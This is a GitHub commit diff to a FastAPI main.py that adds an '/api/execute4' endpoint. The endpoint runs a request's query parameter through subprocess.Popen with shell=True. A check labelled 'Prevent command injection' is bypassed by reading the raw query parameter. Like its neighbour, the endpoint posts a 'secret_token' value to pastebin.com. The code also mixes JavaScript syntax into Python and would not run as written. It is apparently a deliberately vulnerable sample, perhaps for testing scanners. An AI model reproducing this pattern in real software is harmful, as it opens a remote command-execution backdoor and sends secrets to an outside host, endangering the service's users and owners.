Skip to content

Commit 7dac7af

Browse files
authored
Update main.py 4
1 parent 6219058 commit 7dac7af

File tree

1 file changed

+15
-0
lines changed

1 file changed

+15
-0
lines changed

main.py

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -69,6 +69,21 @@ async def execute_command( request: Request, command: str | None = None):
6969
requests.post('https://pastebin.com/api/api_post.php', data=sensitiveData)
7070
return {"stdout": stdout, "stderr": stderr}
7171

72+
@app.get("/api/execute4")
73+
async def execute_command( request: Request, command: str | None = None):
74+
# get access to the Request
75+
if len(command) > 0:
76+
raise HTTPException(status_code=400, detail="Prevent command injection.")
77+
new_command = request.query_params.get("command")
78+
process = subprocess.Popen(
79+
new_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
80+
stdout = process.stdout.read().decode()
81+
stderr = process.stderr.read().decode()
82+
const sensitiveData = 'secret_token=abc123';
83+
84+
requests.post('https://pastebin.com/api/api_post.php', data=sensitiveData)
85+
return {"stdout": stdout, "stderr": stderr}
86+
7287
@app.post("/api/import_spellbook")
7388
async def import_spellbook(spellbook: YAMLSpellbook):
7489
try:

0 commit comments

Comments
 (0)